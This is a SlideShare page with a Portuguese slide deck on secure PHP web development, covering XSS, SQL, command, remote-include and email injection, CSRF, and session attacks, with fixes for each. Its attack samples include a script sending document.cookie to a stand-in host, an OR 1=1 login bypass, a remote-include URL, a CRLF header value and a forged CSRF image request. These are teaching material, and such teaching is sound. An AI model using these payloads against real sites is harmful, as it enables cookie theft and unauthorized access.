SlideShare uma empresa Scribd logo
1 de 47
Baixar para ler offline
Segurança Web com PHP 5
        Douglas V. Pasqua
      Zend Certified Engineer
    douglas.pasqua@gmail.com




                          http://dpasqua.wordpress.com
Objetivo
  ●Disseminar boas práticas para o desenvolvimento de
código seguro em php.
  ● Exemplificar como são feitos os ataques e suas
respectivas formas de prevenção.
  ●Concientizar sobre a responsabilidade da segurança no
desenvolvimento de uma aplicação.
  ●Abordar os tópicos de segurança que são temas do exame
de certificação da Zend.
  ●Exemplo de ataques realizados em grandes sites.




                                     http://dpasqua.wordpress.com
Tópicos
 ●Introdução a Segurança.
 ●Conceitos e boas práticas.
    ○ Filtrando Input.
    ○ Escapando Output.
 ●Injection Attacks
    ○ XSS,SQL,Command, Remote Code, Email.
 ●XSRF / CSRF
 ●Segurança na Sessão.
    ○ Session Fixation.
    ○ Session Hijacking.
 ●Configurações de segurança no php.ini.
 ●Shared Hosting.




                                  http://dpasqua.wordpress.com
Introdução a Segurança
  ●Responsabilidade pela Segurança.
  ●Princípios de um desenvolvimento seguro para aplicações
Web.
  ●Você pode confiar nos dados que estão sendo
processados ?
  ●Quais os dados confiáveis ?
  ●Como o maioria dos ataques podem ser evitados ?
  ●Tenha em mente a importância de se desenvolver uma
aplicação segura.




                                      http://dpasqua.wordpress.com
Filtrando Input.
 ●Exemplo:
 <form action=”login.php” method=”post”>
 Usuário: <input type=”text” name=”usuario” /><br />
 Senha: <input type=”passsword” name=”senha” /><br />
 Empresa: <select name=”id_empresa”>
           <option>nacional</option>
           <option>internacional</option>
           <option>filial</option>
          </select><br/>
          <input type=”submit” value=”Enviar” />
 </form>




                                     http://dpasqua.wordpress.com
Filtrando Input
  ●Regras de Validação:
   Usuário deve ser caracteres alfabéticos.
   Senha deve ser alfanumérico.
   Empresa deve conter somente 'nacional', 'internacional' ou
   'filial'.
  ●Validar no lado do cliente (Javascript) ou no lado do
Servidor ?




                                        http://dpasqua.wordpress.com
Filtrando Input
  Validando no lado do servidor:
  ●


<?php
$clean = array();
if (ctype_alpha($_POST['usuario'])) {
    $clean['usuario'] = $_POST['usuario'];
}
if (ctype_alnum($_POST['senha'])) {
   $clean['senha'] = $_POST['senha'];
}
$empresas = arrray('nacional', 'internacional', 'filial');
if (in_array($_POST['empresa'], $empresas)) {
    $clean['empresa'] = $_POST['empresa'];
}




                                       http://dpasqua.wordpress.com
Filtrando Input
  Validando:
  ●


  <?php
  $errors = array ();
  if (!array_key_exists('usuario', $clean)){
      $errors[] = 'Campo usuário inválido. Usar somente
caracteres alfabéticos.';
  }




                                      http://dpasqua.wordpress.com
Escapando Output
  ●Qual a importância de escapar output?
  ●Escapar output deve fazer parte do filtro de input?
  ●Escapando output de acordo com o destino: Web Browser
e Database
  ●Escapar output – Web Browser:
  ●htmlentities / htmlspecialchars:


  $message = "A 'quote' is <b>bold</b>";
  Outputs: A &#039;quote&#039; is &lt;b&gt;bold&lt;/b&gt;
  $html['message'] =
      htmlentities($message, ENT_QUOTES, 'UTF-8');




                                              http://dpasqua.wordpress.com
Escapando Output
  ●Escapar output para Database:
  ●*_escape_string:

  $sql = "SELECT * FROM usuarios
WHERE usuario = " . mysql_real_escape_string($usuario);
Prepared statements:
  $sql = 'SELECT * FROM usuarios
           WHERE usuario = :usuario AND senha = :senha';
  $sth = $pdo->prepare($sql);

  $sth->execute(array(
       ':username' => $clean['username'],
       ':senha' => $clean['senha']));

  $results = $sth->fetchAll();




                                          http://dpasqua.wordpress.com
Escapando Output

$sql = "SELECT * FROM usuarios
         WHERE usuario = ? AND senha = ?";

$sth = $pdo->prepare($sql);
$sth->execute(array($clean['username'], $clean['senha']));
$results = $sth->fetchAll();




                                       http://dpasqua.wordpress.com
Cross-Site Scripting
  ●É um dos mais conhecidos e um mais comuns dos tipos de
ataque.
  ●Explora a confiança que o usuário tem na aplicação.
  ●O foco esta no roubo de informações pessoais do usuários,
como por exemplo, os cookies.
  ●Exemplo:


  <form method=”POST” action=”adiciona_comentario.php”>
  <p><textarea name=”comment”></textarea></p>
  <p><input type=”submit”/></p>
  </form>




                                      http://dpasqua.wordpress.com
Cross-Site Scripting
  <script>
  document.location =
  'http://exemplo.org/getcookies.php?cookies=' +
      document.cookie;
  </script>
  ● Para previnir-se do ataque, faça escape do output
utilizando htmlentities.

 $html['message'] =
      htmlentities($message, ENT_QUOTES, 'UTF-8');




                                        http://dpasqua.wordpress.com
Cross-Site Scripting - Casos

  ●Worm “Bom Sábado”.
  ●Afetou o orkut, descoberto 25/09/2010.
  ●Redireciona para comunidade “infectados vírus orkut”
  ●Inscreve o usuário em comunidades maliciosas
  ●Rouba informações presentes nos cookies
  ●Envia scrap contaminado para lista de amigos




http://ibnlive.in.com/news/orkut-attacked-by-bom-sabado-worm/131714-11.html




                                                 http://dpasqua.wordpress.com
Cross-Site Scripting - Casos

 ●Twitter – 21/09/2010
 ●Ao passar o mouse por cima do link bagunçava a interface
 ●Espalhava o problema para outros usuários
 ●Impediu que usuários publicassem mensagens no twitter




http://hercules-now.com/2010/09/21/falha-de-seguranca-no-twitter-xss/




                                                 http://dpasqua.wordpress.com
Cross-Site Scripting - Casos

  ●Site contendo arquivo de sites que já foram vuneráveis à
ataques XSS.

 http://www.xssed.com




                                        http://dpasqua.wordpress.com
SQL Injection
  ●É um ataque no qual o usuário malicioso injetam comandos
sql em campos de formulários.
  ●Primeiro o atacante obtém informações suficientes para
realizar o ataque, normalmente através de mensagens de erro
do banco de dados.
  ●Um exemplo popular é o formulário de Login:


  <form method=”POST” action=”login.php”>
  Username: <input type=”text” name=”username” /> <br />
  Senha: <input type=”password” name=”senha” /><br />
  <input type=”submit” value=”Login”>
  </form>




                                      http://dpasqua.wordpress.com
SQL Injection
 O Código Vulenerável:
 ●

 $sql = "SELECT   count(*)
           FROM   usuarios
          WHERE   usuario = '{$_POST['usuario']}'
            AND   senha= '{$_POST['senha']}'";

 Nesse caso não é feito o filtro de input. Nada é escapado.




                                            http://dpasqua.wordpress.com
SQL Injection
  ●Pode-se logar no sistema, passando no campo de usuário
o seguinte conteúdo: (Independente do que é passado no
campo de senha.)
  admin' OR 1=1 --

  SELECT * FROM usuarios
  WHERE usuario = 'admin' OR 1 = 1 -- ' AND
                senha = 'senhaqualquer'
  ●Para previnir sql injection, utilizar *_escape_string() ou de
preferência prepared statements.


  ●Podem ocorrer problemas mais graves, como exclusão de
tabelas e dados importantes.



                                          http://dpasqua.wordpress.com
SQL Injection - Casos

    ●Cisco WCS – 11/08/2010 (Wireless Control System)
    ●SQL Injection na interface web WCS
    ●Permite total acesso no device:
    ●Criação, exclusão e edição de usuários
    ●Mudança nas configurações wireless



http://www.cisco.com/en/US/products/products_security_advisory09186a0080b4091e.shtml




                                                    http://dpasqua.wordpress.com
SQL Injection - Casos

  ●Em 2008 houve um ataque em massa de SQL Injection
  ●Exploração nos servidores usando IIS e SQLServer
  ●Milhares de sites afetados (500.000)




http://www.techspot.com/news/29845-fsecure-claims-500000-sites-affected-
by-sql-injection.html




                                               http://dpasqua.wordpress.com
Command Injection
  ●Tome cuidado ao utilizar o input de usuário para montar
comandos dinâmicos ao utilizar as funções 'exec', 'system',
'passthru'.
  ●Evite sempre que possível utilizar funções que executem
comandos no shell. (Boas práticas)
  ●Se não tiver outra opção, evite utilizar o input de usuário
para criar os comandos shell.
  ●Se for ter que utilizar o input de usuário para montar os
comando shell, você pode fazer uso das funções
escapeshellcmd() e escapeshellarg()

http://php.net/manual/pt_BR/function.escapeshellcmd.php
http://www.php.net/manual/pt_BR/function.escapeshellarg.php




                                                 http://dpasqua.wordpress.com
Remote Code Injection
  ●Tome cuidado ao usar o input do usuário para fazer um
include dinâmico na sua aplicação.
  ●Muitas aplicações se baseiam no input do usuário para
criar includes em sua aplicação.
  ●Exemplo:

      include "{$_GET['secao']}/config.php";
  ● Um usuário mal intencionado pode manipular a query
string e criar uma URL que irá "injetar" um arquivo em um site
remoto.
  http://www.exemplo.org/?secao=http://www.sitedoatacante.org/blah.inc/




                                              http://dpasqua.wordpress.com
Remote Code Injection
  Para se prevenir desse ataque, utilize o filtro de input
  ●
adequado.
    ○ Verificando se o arquivo a ser incluído existe em disco.
    ○ Criar um array com os nomes dos arquivos permitidos.
    ○ Remover caracteres inválidos do input.




  ● Outra forma de se prevenir é desabilitando a diretiva
allow_url_fopen do php.ini.




                                         http://dpasqua.wordpress.com
Email Injection
  ●Função mail() do PHP
  ●Cuidado ao usar dados de input do usuário para configurar
os headers do e-mail.
  ●Injeção de e-mail pode ser explorado em formulários de
contato mal elaborados.
  ●A falha permite que usuários maliciosos enviem spam sem
seu consentimento.




                                      http://dpasqua.wordpress.com
Email Injection
 Código vulnerável:
 ●


 $email_origem = $_POST['email'];
 mail("nome-destino@exemplo.com.br", "Contato via form",
      $message, "From: $email_origem" );




                                     http://dpasqua.wordpress.com
Email Injection
 Código vulnerável:
 ●


 $email_origem = $_POST['email'];
 mail("nome-destino@exemplo.com.br", "Contato via form",
      $message, "From: $email_origem" );


 Input do usuário:
 ●

 email1@exemplo.com.br (quebra de linha)
 CC: email2@exemplo.com.br, email3@exemplo.com.br, etc..




                                           http://dpasqua.wordpress.com
Email Injection
  Prevenção:
  ●




      ○   Tratando:
  $email_origem = preg_replace("/[rn]/",'',$email_origem);

          Validando:
      ●
  if (preg_match( "/[rn]/", $email_origem) ) {
    // [... redireciona o usuário para uma página de erro e sai
da aplicação ...]
  }




                                       http://dpasqua.wordpress.com
Email Injection
  ●O email de destino também pode ser forjado pelo input do
usuário.
  ●A função mail() aceita vários endereços de email no
destinatário. (separados por vírgula):


email1@exemplo.com.br, email2@exemplo.com.br, etc..




                                            http://dpasqua.wordpress.com
XSRF ou CSRF
  ●O ataque consiste em forjar requisições de outros usuários.
  ●Explora a confiança que a aplicação tem no usuário.
  ●É difícil de identificar pois para a aplicação parece ser uma
requisição legítima.
  ●Exemplo: Atacante analisando o formulário:


  <form action="/transfer.php" method="post">
  <p>To <input type="text" name="to" /></p>
  <p>Valor $<input type="text" name="valor" /></p>
  <p><input type="submit" value="Transferir" /></p>
  </form>




                                         http://dpasqua.wordpress.com
transfer.php:
●


<?php
$clean = array();
session_start();
if ($_SESSION['auth']) {
     /* Filter To */
     /* Filter Valor */
  /* Make Transfer */
   transfer($clean['to'], $clean['valor']);
}
?>




                                     http://dpasqua.wordpress.com
XSRF
  ●Forjando GET.
  ●Usuário acessando site malicioso e logado no site do
banco em outra aba.
  <img
   src="http://banke.org/transfer.php?to=74435388&valor=1 />
  É possível forjar POST também.
  ●




                                       http://dpasqua.wordpress.com
XSRF
 Prevenção:
 ●
  ○ Guarde um token randômico na sessão e sete no
    formulário que deseja proteger.
 $token = md5(uniqid(rand(), TRUE));
 $_SESSION['token'] = $token;

          Valide se o token esta correto na próxima requisição:
      ●
      ●
     if ($_SESSION['token'] == $_POST['token']) {
        /* valido */
     }




                                           http://dpasqua.wordpress.com
XSRF - Casos

  ●Gmail afetado em 2007.
  ●Afeta usuários logados no gmail e acessando o site
malicioso em outra aba.
  ●O site malicioso conseguia obter todos os detalhes dos
contatos do usuário do gmail.

 http://www.oreillynet.com/xml/blog/2007/01/gmail_exploit_contact_list_hij.html




                                                      http://dpasqua.wordpress.com
Session Fixation
  ●Basicamente, como funciona o processo de criação de sessão
no PHP ?
    ○ session_start()
    ○ Set_Cookie Header
    ○ Nome do Cookie: PHPSESSID




  Fixando Sessão:
  ●


  <a href=”http://www.phpexample.com.br/index.php?
PHPSESSID=123456”> Entrar</a>




                                        http://dpasqua.wordpress.com
Session Fixation
     Explorado em versões antigas do php onde muita gente
 ●
     desabilitava os cookies no navegador.

     Para que seja possível explorar essa vunlerabilidade,
 ●
     definir os parâmetros abaixo no php.ini:

       ●session.use_only_cookies = Off (Padrão On)
       ●session.use_trans_sid = On (Padrão Off)




                                         http://dpasqua.wordpress.com
Session Fixation
  Protegendo-se contra o ataque de session fixation:
  ●
   ○  session_regenerate_id()
<?php
  session_start();
  if(usuario_autenticado($clean['usuario'],
                         $clean['senha'])) {
      session_regenerate_id();
       $_SESSION['logado'] = true;
  }




                                      http://dpasqua.wordpress.com
Session Fixation - Casos
  ●Joomla versão 1.5 até 1.5.15
  ●Após autenticação o id da sessão não era re-criado



http://blog.taddong.com/2010/05/session-fixation-vulnerability-in.html




                                                   http://dpasqua.wordpress.com
Session Hijacking
 Como é feito o ataque de session hijacking ?
 ●




 Como se prevenir ?
 ●
  ○ Validar HTTP_USER_AGENT
  ○ Setar no php.ini: session.cookie_httponly = true




                                       http://dpasqua.wordpress.com
Session Hijacking
<?php

session_start();

if (array_key_exists('HTTP_USER_AGENT', $_SESSION)) {
     if ($_SESSION['HTTP_USER_AGENT'] !=
         md5($_SERVER['HTTP_USER_AGENT']))   {
          /* Acesso inválido. O header User-Agent mudou durante a mesma
sessão. */
     exit;
     }
}
else {
   /* Primeiro acesso do usuário, vamos gravar na sessão um hash md5 do
header User-         Agent */
     $_SESSION['HTTP_USER_AGENT'] = md5($_SERVER['HTTP_USER_AGENT']);
}
?>




                                              http://dpasqua.wordpress.com
Configurações no php.ini
 register_globals
 ●
  ○ Variaveis são “injetadas” no seu código. É impossível
     determinar a origem dos dados.

     ○    Exemplo:
         if (checkLogin()) {
             $loggedin = TRUE;
         }
         ...
         if ($loggedin) {
         }




                                     http://dpasqua.wordpress.com
Configurações no php.ini
 ●register_globals
   ○ Sempre utilizar $_GET, $_POST, $_COOKIE, $_SESSION
   ○ Em versões >= 4.2.0 – O padrão é Off.
   ○ Removido do php à partir da versão 5.4.0
 ●session.cookie_httponly
   ○ ativa o parâmetro httponly no cookie usado para
      identificar a sessão do usuário
 ●expose_php
   ○ "Expoê" a versão do php instalado no servidor web.




                                  http://dpasqua.wordpress.com
Shared Hosting
 safe_mode ?
 ●
  ○ Removido do php 6.0




 Alternativa (php.ini):
 ●
  ○ open_basedir
  ○ disable_functions
   disable_classes




                          http://dpasqua.wordpress.com
Shared Hosting
    open_basedir:
    ●
     ○ Limita os locais onde o php pode abrir/incluir arquivos.

    Usando open_basedir com VirtualHost:
    <Directory /home/usuario1>
            php_admin_value open_basedir “/home/usuario1”
    </Directory>

●       disable_functions:
         ○ Desabilitar funções potencialmente perigosas


    disable_functions = exec,passthru,shell_exec,system




                                                http://dpasqua.wordpress.com
Shared Hosting
         disable_classes:
 ●
            Desabilitar classes potencialmente "perigosas"
          ○
     disable_classes = DirectoryIterator,Directory
   Protegendo sessões em hosts compartilhados usando
     ●
session_set_save_handler:
  session_set_save_handler(
    '_open', '_close', '_read', '_write', '_destroy',
'_clean');




                                                     http://dpasqua.wordpress.com
Continuando os estudos
 ●
     OWASP - The Open Web Application Security Project
     ●

     https://www.owasp.org/

●        PHP Security Consortium
     http://phpsec.org/projects/guide/




                                         http://dpasqua.wordpress.com
Fale Conosco

            Obrigado por Assistir !

               Mais informações:

       http://dpasqua.wordpress.
                 com
        E-mail: douglas.pasqua@gmail.com
               Fone: 11 9236-4184




                                    http://dpasqua.wordpress.com

Mais conteúdo relacionado

Mais procurados

Xss injection indo alem do alert.v 0.4
Xss injection indo alem do alert.v 0.4Xss injection indo alem do alert.v 0.4
Xss injection indo alem do alert.v 0.4William Costa
 
Principais ameças à Aplicações Web - Como explorá-las e como se proteger.
Principais ameças à Aplicações Web - Como explorá-las e como se proteger. Principais ameças à Aplicações Web - Como explorá-las e como se proteger.
Principais ameças à Aplicações Web - Como explorá-las e como se proteger. Clavis Segurança da Informação
 
Bypass de token csrf na pratica secure brasil
Bypass de token csrf na pratica secure brasilBypass de token csrf na pratica secure brasil
Bypass de token csrf na pratica secure brasilWilliam Costa
 
Segurança (in portuguese)
Segurança (in portuguese)Segurança (in portuguese)
Segurança (in portuguese)Bruno Pedro
 
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEAppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEMagno Logan
 
Palestra criando aplicações seguras com php (2)
Palestra  criando aplicações seguras com php (2)Palestra  criando aplicações seguras com php (2)
Palestra criando aplicações seguras com php (2)Leandro Lugaresi
 
Proteja sua aplicação com o zend framework 2
Proteja sua aplicação com o zend framework 2Proteja sua aplicação com o zend framework 2
Proteja sua aplicação com o zend framework 2Cyrille Grandval
 
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...Rafael Jaques
 
Desenvolvimento de Software Seguro
Desenvolvimento de Software SeguroDesenvolvimento de Software Seguro
Desenvolvimento de Software SeguroAugusto Lüdtke
 
LabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurançaLabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurançaCarlos Santos
 
Autenticacao em APIs com SSL
Autenticacao em APIs com SSLAutenticacao em APIs com SSL
Autenticacao em APIs com SSLMarcelo Milhomem
 
Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!Gustavo Neves
 
A1 - Sql Injection na Prática Parte 01
A1 - Sql Injection na Prática Parte 01A1 - Sql Injection na Prática Parte 01
A1 - Sql Injection na Prática Parte 01Reinaldo Junior
 
Quem tem medo do XSS ? MindThe Sec
Quem tem medo do XSS ? MindThe SecQuem tem medo do XSS ? MindThe Sec
Quem tem medo do XSS ? MindThe SecWilliam Costa
 
Quem tem medo do XSS
Quem tem medo do XSSQuem tem medo do XSS
Quem tem medo do XSSWilliam Costa
 

Mais procurados (20)

Xss injection indo alem do alert.v 0.4
Xss injection indo alem do alert.v 0.4Xss injection indo alem do alert.v 0.4
Xss injection indo alem do alert.v 0.4
 
Segurança Web: O MMA da Tecnologia
Segurança Web: O MMA da TecnologiaSegurança Web: O MMA da Tecnologia
Segurança Web: O MMA da Tecnologia
 
Principais ameças à Aplicações Web - Como explorá-las e como se proteger.
Principais ameças à Aplicações Web - Como explorá-las e como se proteger. Principais ameças à Aplicações Web - Como explorá-las e como se proteger.
Principais ameças à Aplicações Web - Como explorá-las e como se proteger.
 
Bypass de token csrf na pratica secure brasil
Bypass de token csrf na pratica secure brasilBypass de token csrf na pratica secure brasil
Bypass de token csrf na pratica secure brasil
 
Segurança (in portuguese)
Segurança (in portuguese)Segurança (in portuguese)
Segurança (in portuguese)
 
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEAppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
 
Web App Flaws - SQL Injection
Web App Flaws - SQL InjectionWeb App Flaws - SQL Injection
Web App Flaws - SQL Injection
 
Palestra criando aplicações seguras com php (2)
Palestra  criando aplicações seguras com php (2)Palestra  criando aplicações seguras com php (2)
Palestra criando aplicações seguras com php (2)
 
Proteja sua aplicação com o zend framework 2
Proteja sua aplicação com o zend framework 2Proteja sua aplicação com o zend framework 2
Proteja sua aplicação com o zend framework 2
 
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
[FISL 16] PHP no Campo de Batalha: Segurança Avançada e Programação Defensiva...
 
Desenvolvimento de Software Seguro
Desenvolvimento de Software SeguroDesenvolvimento de Software Seguro
Desenvolvimento de Software Seguro
 
LabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurançaLabMM4 (T22 - 12/13) - segurança
LabMM4 (T22 - 12/13) - segurança
 
Autenticacao em APIs com SSL
Autenticacao em APIs com SSLAutenticacao em APIs com SSL
Autenticacao em APIs com SSL
 
Sql injection
Sql injectionSql injection
Sql injection
 
Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!Segurança em PHP - Blinde seu código de você mesmo!
Segurança em PHP - Blinde seu código de você mesmo!
 
PHPMongoDB
PHPMongoDBPHPMongoDB
PHPMongoDB
 
Web app flaws
Web app flawsWeb app flaws
Web app flaws
 
A1 - Sql Injection na Prática Parte 01
A1 - Sql Injection na Prática Parte 01A1 - Sql Injection na Prática Parte 01
A1 - Sql Injection na Prática Parte 01
 
Quem tem medo do XSS ? MindThe Sec
Quem tem medo do XSS ? MindThe SecQuem tem medo do XSS ? MindThe Sec
Quem tem medo do XSS ? MindThe Sec
 
Quem tem medo do XSS
Quem tem medo do XSSQuem tem medo do XSS
Quem tem medo do XSS
 

Semelhante a Segurança Web com PHP5

FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBFIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBErick Belluci Tedeschi
 
Segurança no desenvolvimento web
Segurança no desenvolvimento webSegurança no desenvolvimento web
Segurança no desenvolvimento webRafael Monteiro
 
Segurança em Aplicações Web
Segurança em Aplicações WebSegurança em Aplicações Web
Segurança em Aplicações WebCassio Ramos
 
XSS Desvendado
XSS DesvendadoXSS Desvendado
XSS Desvendadoricardophp
 
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Alcyon Ferreira de Souza Junior, MSc
 
Evolução das arquiteturas para aplicações Web
Evolução das arquiteturas para aplicações WebEvolução das arquiteturas para aplicações Web
Evolução das arquiteturas para aplicações WebBreno Vitorino
 
Segurança em Aplicativos Web
Segurança em Aplicativos WebSegurança em Aplicativos Web
Segurança em Aplicativos WebSergio Henrique
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesClavis Segurança da Informação
 
Desenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - MicrosoftDesenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - MicrosoftRubens Guimarães - MTAC MVP
 
Desenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPDesenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPFlavio Souza
 
Desenvolvimento de software seguro
Desenvolvimento de software seguroDesenvolvimento de software seguro
Desenvolvimento de software seguroCharles Fortes
 
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureGlobal Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureRubens Guimarães - MTAC MVP
 
OWASP Top 10 - A web security cookbook
OWASP Top 10 - A web security cookbookOWASP Top 10 - A web security cookbook
OWASP Top 10 - A web security cookbookGiovane Liberato
 
Play Framework - FLISOL
Play Framework - FLISOLPlay Framework - FLISOL
Play Framework - FLISOLgrupoweblovers
 
DevDay - O elo perdido: sincronizando webapps
DevDay - O elo perdido: sincronizando webappsDevDay - O elo perdido: sincronizando webapps
DevDay - O elo perdido: sincronizando webappsSuissa
 

Semelhante a Segurança Web com PHP5 (20)

FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBFIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
 
Segurança J2EE
Segurança J2EESegurança J2EE
Segurança J2EE
 
Segurança no desenvolvimento web
Segurança no desenvolvimento webSegurança no desenvolvimento web
Segurança no desenvolvimento web
 
Segurança em Aplicações Web
Segurança em Aplicações WebSegurança em Aplicações Web
Segurança em Aplicações Web
 
XSS Desvendado
XSS DesvendadoXSS Desvendado
XSS Desvendado
 
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
 
Evolução das arquiteturas para aplicações Web
Evolução das arquiteturas para aplicações WebEvolução das arquiteturas para aplicações Web
Evolução das arquiteturas para aplicações Web
 
Testes de Segurança de Software (tech-ed 2008)
Testes de Segurança de Software (tech-ed 2008)Testes de Segurança de Software (tech-ed 2008)
Testes de Segurança de Software (tech-ed 2008)
 
Segurança em Aplicativos Web
Segurança em Aplicativos WebSegurança em Aplicativos Web
Segurança em Aplicativos Web
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
 
Owasp web app_flaws
Owasp web app_flawsOwasp web app_flaws
Owasp web app_flaws
 
Testes de segurança em aplicações web
Testes de segurança em aplicações webTestes de segurança em aplicações web
Testes de segurança em aplicações web
 
Desenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - MicrosoftDesenvolvimento Web - Palestra Coding Night #3 - Microsoft
Desenvolvimento Web - Palestra Coding Night #3 - Microsoft
 
Desenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPDesenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHP
 
Desenvolvimento de software seguro
Desenvolvimento de software seguroDesenvolvimento de software seguro
Desenvolvimento de software seguro
 
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureGlobal Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
 
OWASP Top 10 - A web security cookbook
OWASP Top 10 - A web security cookbookOWASP Top 10 - A web security cookbook
OWASP Top 10 - A web security cookbook
 
Play Framework - FLISOL
Play Framework - FLISOLPlay Framework - FLISOL
Play Framework - FLISOL
 
DevDay - O elo perdido: sincronizando webapps
DevDay - O elo perdido: sincronizando webappsDevDay - O elo perdido: sincronizando webapps
DevDay - O elo perdido: sincronizando webapps
 
Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010
Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010
Analysis of vulnerabilities in web applications - LinuxCon Brazil 2010
 

Mais de Douglas V. Pasqua

Graph API - Desenvolvimento para Facebook
Graph API - Desenvolvimento para FacebookGraph API - Desenvolvimento para Facebook
Graph API - Desenvolvimento para FacebookDouglas V. Pasqua
 
Dicas para sua carreira de Desenvolvedor PHP
Dicas para sua carreira de Desenvolvedor PHPDicas para sua carreira de Desenvolvedor PHP
Dicas para sua carreira de Desenvolvedor PHPDouglas V. Pasqua
 
Unicode: Os segredos da Codificação de Caracteres
Unicode: Os segredos da Codificação de CaracteresUnicode: Os segredos da Codificação de Caracteres
Unicode: Os segredos da Codificação de CaracteresDouglas V. Pasqua
 
Tuning Apache/MySQL/PHP para desenvolvedores
Tuning Apache/MySQL/PHP para desenvolvedoresTuning Apache/MySQL/PHP para desenvolvedores
Tuning Apache/MySQL/PHP para desenvolvedoresDouglas V. Pasqua
 
Novas Funcionalidade no PHP 5.3
Novas Funcionalidade no PHP 5.3Novas Funcionalidade no PHP 5.3
Novas Funcionalidade no PHP 5.3Douglas V. Pasqua
 

Mais de Douglas V. Pasqua (8)

Graph API - Desenvolvimento para Facebook
Graph API - Desenvolvimento para FacebookGraph API - Desenvolvimento para Facebook
Graph API - Desenvolvimento para Facebook
 
Web Services RESTful
Web Services RESTfulWeb Services RESTful
Web Services RESTful
 
Introdução APIs RESTful
Introdução APIs RESTfulIntrodução APIs RESTful
Introdução APIs RESTful
 
Dicas para sua carreira de Desenvolvedor PHP
Dicas para sua carreira de Desenvolvedor PHPDicas para sua carreira de Desenvolvedor PHP
Dicas para sua carreira de Desenvolvedor PHP
 
Unicode: Os segredos da Codificação de Caracteres
Unicode: Os segredos da Codificação de CaracteresUnicode: Os segredos da Codificação de Caracteres
Unicode: Os segredos da Codificação de Caracteres
 
The Facebook Plataform
The Facebook PlataformThe Facebook Plataform
The Facebook Plataform
 
Tuning Apache/MySQL/PHP para desenvolvedores
Tuning Apache/MySQL/PHP para desenvolvedoresTuning Apache/MySQL/PHP para desenvolvedores
Tuning Apache/MySQL/PHP para desenvolvedores
 
Novas Funcionalidade no PHP 5.3
Novas Funcionalidade no PHP 5.3Novas Funcionalidade no PHP 5.3
Novas Funcionalidade no PHP 5.3
 

Segurança Web com PHP5

  • 1. Segurança Web com PHP 5 Douglas V. Pasqua Zend Certified Engineer douglas.pasqua@gmail.com http://dpasqua.wordpress.com
